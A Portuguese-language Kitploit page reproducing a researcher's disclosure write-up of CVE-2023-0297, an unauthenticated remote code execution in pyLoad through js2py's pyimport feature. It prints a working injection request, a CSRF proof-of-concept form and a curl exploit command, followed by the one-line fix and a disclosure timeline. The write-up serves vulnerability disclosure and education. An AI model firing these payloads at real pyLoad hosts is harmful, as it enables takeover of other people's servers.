Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-0297_Pre-auth_RCE_in_pyLoad — CVE-2023-0297: A História da Descoberta de Pre-auth RCE no pyLoad | Kitploit
Ferramentas/GitHubGitHub/bauh0lz/cve-2023-0297_pre-auth_rce_in_pyload
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubbauh0lz/cve-2023-0297_pre-auth_rce_in_pyload

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: A História da Descoberta de Pre-auth RCE no pyLoad

Ver Repositório
28102há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-0297: RCE pré-autenticação no pyLoad

A história de encontrar uma RCE pré-autenticação no pyLoad

TL;DR

Uma vulnerabilidade de injeção de código no pyLoad versões anteriores a 0.5.0b3.dev31 leva a uma RCE pré-autenticação ao abusar da funcionalidade js2py.

Você pode encontrar o relatório aqui e o código de exploração aqui.

Detalhes

pyLoad é um gerenciador de downloads OSS escrito em Python e gerenciável via interface web. Seu repositório GitHub tem aproximadamente 2,8k estrelas em 9 de janeiro de 2023.

Enquanto auditava o código-fonte do pyLoad, o seguinte código chamou minha atenção:

cnl_blueprint.py#L124

root@kitploit:~
    jk = eval_js(f"{jk} f()")

A definição da função eval_js é a seguinte:

misc.py#L25-L27

root@kitploit:~
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()") usa a funcionalidade js2py que executa código JavaScript f"{jk} f()" onde o parâmetro jk é passado por um parâmetro de requisição:

cnl_blueprint.py#L120

root@kitploit:~
    jk = flask.request.form["jk"]

Portanto, você pode executar código JavaScript arbitrário ao requisitar o endpoint.

No entanto, como você pode abusar disso? Já que no contexto js2py.eval_js() nem XMLHttpRequest, fetch ou require (como no node.js) estão definidos, então SSRF ou leitura de arquivos locais não são possíveis.

Depois de algum tempo, encontrei uma funcionalidade interessante do js2py:

declaração pyimport

root@kitploit:~
Finally, Js2Py também suporta importar qualquer código Python a partir de JavaScript usando a declaração 'pyimport':

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

Usando essa funcionalidade, você pode usar bibliotecas Python no contexto de js2py.eval_js()! Surpreendentemente, o pyimport está habilitado por padrão. :o

Tentei um código simples que executa comandos do SO usando pyimport:

root@kitploit:~
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

Como esperado, touch /tmp/pwnd foi executado!

Ao enviar a seguinte requisição, a mesma coisa aconteceria no host alvo:

root@kitploit:~
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

A parte ;f=function%20f2(){}; no parâmetro jk é necessária porque este endpoint executa eval_js(f"{jk} f()"). Se não estiver presente, o código injetado não será executado devido ao erro name 'f' is not defined.

Observe que um cookie e token CSRF não estão presentes na requisição. Isso significa que:

  • Um atacante não autenticado que pode acessar o host alvo é capaz de executar RCE.
  • Mesmo que um atacante não possa acessar o host alvo, ele pode enganar uma vítima que pode acessar o host alvo para executar RCE por meio de um ataque CSRF:
root@kitploit:~
<html>
  <!-- CSRF PoC - gerado pelo Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Código de Exploração

root@kitploit:~
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

Correção

Basta desabilitar a funcionalidade pyimport.

misc.py

root@kitploit:~
 import js2py
 
+js2py.disable_pyimport()

Cronograma

  • 2023-01-02: Reportado ao huntr.dev
  • 2023-01-04: Vulnerabilidade verificada
  • 2023-01-04: Vulnerabilidade corrigida e relatório publicado
  • 2023-01-14: ID CVE atribuído

Agradecimentos à equipe do huntr.dev e ao mantenedor do pyLoad pelas respostas rápidas!

Baixar ferramenta